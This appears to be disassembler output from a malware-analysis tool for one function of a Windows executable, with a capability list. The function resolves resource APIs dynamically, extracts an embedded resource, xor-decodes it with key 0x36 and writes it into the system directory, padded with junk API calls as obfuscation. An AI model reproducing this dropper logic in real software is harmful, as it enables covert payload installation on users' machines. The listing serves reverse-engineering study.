Function at 0x40244d
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
sub esp, 0x618
push ebx
push ebp
push esi
push edi
xor eax, eax
xor ebx, ebx
push 0x7f
mov byte [esp + 0x2c], bl
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
pop ecx
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x228], bl
mov ecx, 0xff
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x62c]
cmp byte [eax + 1], 0x3a
mov byte [esp + 0x13], bl
mov dword [esp + 0x24], ebx
mov edi, 0x4040ec
je 0x40261c
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push 0x200
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push 0x404178
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x62c]
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40262b
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push 0x404168
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.FindResourceA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x634]
push dword [esp + 0x634]
push ebx
call eax
cmp eax, ebx
mov dword [esp + 0x18], eax
je 0x402ca3
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [esp + 0x20], eax
je 0x402c43
push 0x404168
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push ebx
mov dword [esp + 0x1c], eax
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push str.SizeofResource
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov dword [esp + 0x18], eax
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x18]
push ebx
call dword [esp + 0x1c]
push edi
push ebx
mov dword [esp + 0x24], eax
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
cmp dword [esp + 0x1c], ebx
je 0x402c43
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [esp + 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x402c43
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x1c]
call fcn.00401610
push dword [esp + 0x20]
mov dword [esp + 0x20], eax
push dword [esp + 0x28]
push eax
call fcn.004032f0
add esp, 0x10
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
cmp byte [esp + 0x63c], bl
je 0x402a75
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
xor ecx, ecx
cmp dword [esp + 0x1c], ebx
jbe 0x402a75
mov eax, dword [esp + 0x18]
add eax, ecx
xor byte [eax], 0x36
inc ecx
cmp ecx, dword [esp + 0x1c]
jb 0x402a65
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push ebx
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x18]
call fcn.00401630
cmp dword [esp + 0x63c], ebx
pop ecx
je 0x402bde
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
lea eax, [esp + 0x228]
push eax
call fcn.0040317a
pop ecx
mov byte [esp + 0x13], al
jmp 0x402be3
mov byte [esp + 0x13], 1
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x618
ret